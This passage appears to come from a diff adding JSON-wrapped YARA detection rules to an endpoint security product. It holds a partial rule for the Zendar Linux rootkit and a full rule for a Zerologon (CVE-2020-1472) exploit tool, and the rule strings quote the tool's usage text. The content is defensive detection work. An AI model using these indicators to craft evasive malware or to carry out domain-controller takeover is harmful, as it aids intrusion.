$z6 = \"libsslcore.so\" ascii fullword\n        $z7 = \"ZENDAR\" ascii fullword\n        $z8 = \"_zendar\" ascii fullword\n        $z9 = \"/etc/ld.so.preload\" ascii fullword\n        $z10 = \"Secret Sex Loaf of a Single Mom\" ascii\n        $z11 = \"And there's a NoNo for him too!\" ascii\n\n    condition:\n        (uint32be(0) == 0x7F454c46) // ELF\n        and ((uint16be(0x10) == 0x03) or (uint16(0x10) == 0x03)) // ET_DYN\n        and (4 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_library_rootkit_zendar"
+  ],
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Zendar"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070",
+    "attack.t1564",
+    "attack.t1014",
+    "attack.t1556",
+    "attack.t1574.006",
+    "attack.t1059.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-zerologon_tool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584423Z",
+  "creation_date": "2026-03-23T11:46:25.584425Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584430Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/"
+  ],
+  "name": "zerologon_tool.yar",
+  "content": "rule zerologon {\n    meta:\n        title = \"Unknown Zerologon Exploit (CVE-2020-1472)\"\n        id = \"92aaecc7-d68a-449a-b03a-6a5e661182f5\"\n        description = \"Detects an unknown origin tool exploiting the Zerologon vulnerability (CVE-2020-1472).\\nThis tool is used to gain full administrative privileges on a vulnerable domain controller by exploiting a vulnerability in the Netlogon Remote Procedure Call (RPC) service. It is recommended quickly investigate for signs of lateral movement on domain controllers and to isolate infected hosts.\"\n        references = \"https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/\"\n        date = \"2021-11-01\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;attack.lateral_movement;attack.t1210;attack.credential_access;attack.t1212\"\n        classification = \"Windows.Exploit.Zerologon\"\n        context = \"process,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s01 = \"server passwd set successfully\" ascii\n        $s02 = \"server passwd ser failed !\" ascii\n        $s03 = \"TARGET IS VULNURABLE\" ascii\n        $s04 = \"TARGET SEEMS TO BE PATCHED\" ascii\n        $s05 = \"IP - ip address of domain controller\" fullword ascii\n        $s06 = \"ADMIN_USERNAME - account name of the administrator. can be default <Administrator> or something else\" fullword ascii\n        $s07 = \"ZERO.EXE -test IP DC\" fullword ascii\n        $s08 = \"testing target:\" fullword ascii\n        $s09 = \"EXECUTED SUCCESSFULLY\" fullword ascii\n        $s10 = \"COMMAND - command that will be executed on domain controller. should be surrounded by quotes\" fullword ascii\n        $s11 = \"ADMIN_USERNAME - account name of the administrator.\" ascii\n        $s12 = \"netrserverauthenticate2: STATUS_NO_TRUST_SAM_ACCOUNT (cannot find the account or bad type)\" fullword ascii\n        $s13 = \"ADMIN_USERNAME - %ws\" fullword ascii\n        $s14 = \"COMMAND - %ws\" fullword ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 400KB and 10 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "zerologon"
+  ],
+  "rule_creation_date": "2021-11-01",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.Zerologon"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1210",
+    "attack.t1212",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}